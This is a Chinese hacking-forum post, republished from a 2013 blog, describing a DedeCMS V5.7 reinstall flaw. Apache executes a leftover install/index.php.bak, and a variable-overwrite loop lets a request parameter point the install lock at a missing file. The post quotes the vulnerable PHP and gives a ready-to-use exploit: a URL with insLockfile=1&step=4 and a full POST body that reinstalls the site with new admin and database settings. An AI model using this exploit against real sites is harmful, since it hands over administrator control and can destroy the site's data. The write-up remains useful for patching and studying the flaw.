查看: 14121|回复: 0

Dedecms通杀重装漏洞 利用apache解析+变量覆盖

[复制链接]
发表于 2013-8-28 09:46:38 | 显示全部楼层 |阅读模式
利用条件是webserver要求是存在apache解析漏洞和install文件夹存在。
利用截图:
20130606070705_46554.jpg
Dedecms在安装后会把安装文件/install/index.php备份成/install/index.php.bak,这个在apache下面是会解析成PHP执行的。
看看/install/index.php.bak代码:

  1. $verMsg = ' V5.7 GBKSP1';
  2. $s_lang = 'gb2312';
  3. $dfDbname = 'dedecmsv57gbksp1';
  4. $errmsg = '';
  5. $install_demo_name = 'dedev57demo.txt';
  6. $insLockfile = dirname(__FILE__).'/install_lock.txt';
  7. $moduleCacheFile = dirname(__FILE__).'/modules.tmp.inc';
  8. define('DEDEINC',dirname(__FILE__).'/../include');
  9. define('DEDEDATA',dirname(__FILE__).'/../data');
  10. define('DEDEROOT',preg_replace("#[\\\\\/]install#", '', dirname(__FILE__)));
  11. header("Content-Type: text/html; charset={$s_lang}");
  12. require_once(DEDEROOT.'/install/install.inc.php');
  13. require_once(DEDEINC.'/zip.class.php');
  14. foreach(Array('_GET','_POST','_COOKIE') as $_request)
  15. {
  16.     foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
  17. }
  18. require_once(DEDEINC.'/common.func.php');
  19. if(file_exists($insLockfile))
  20. {
  21.     exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
  22. }
  23. if(empty($step))
  24. {
  25.     $step = 1;
  26. }
复制代码
其中$insLockfile = dirname(__FILE__).’/install_lock.txt’;是安装锁文件。在下面的

  1. if(file_exists($insLockfile))
  2. {
  3.     exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
  4. }
复制代码
这个代码的意思是:如果$insLockfile这个文件存在,那么就提示已经安装了,如果$insLockfile不存在,那么就可以继续安装,那么我们要控制$insLockfile才能重新安装,
关键的问题在这两段代码中间还有一段dedecms一直很二逼的变量覆盖的代码。

  1. foreach(Array('_GET','_POST','_COOKIE') as $_request)
  2. {
  3.     foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
  4. }
复制代码
这个是注册变量,如果存在变量就直接覆盖了。
所以我们直接在请求里加上insLockfile=seay就可以把$insLockfile变为seay,当然文件不存在的啦。就重装了。
利用演示:
直接POST数据到这个URL
  1. http://www.localhost.com/install/index.php.bak?insLockfile=1&step=4
复制代码
就OK了
20130606070937_40308.jpg
POST数据:

  1. step=4&dbhost=localhost&dbuser=root&dbpwd=123456&dbprefix=dede_&dbname=dedecms1&dblang=gbk&adminuser=admin&adminpwd=admin&cookieencode=JzIVw7439H&webname=%CE%D2%B5%C4%CD%F8%D5%BE&adminmail=admin%40dedecms.com&baseurl=http%3A%2F%2Flocalhost&cmspath=%2Fdedecms
复制代码
其中的dbhost啥的东西自己改改吧,
提交数据包。效果如下
20130606071032_57112.jpg
原文:http://www.cnseay.com/2956/
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-6-17 12:41 , Processed in 0.100283 second(s), 30 queries , Gzip On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部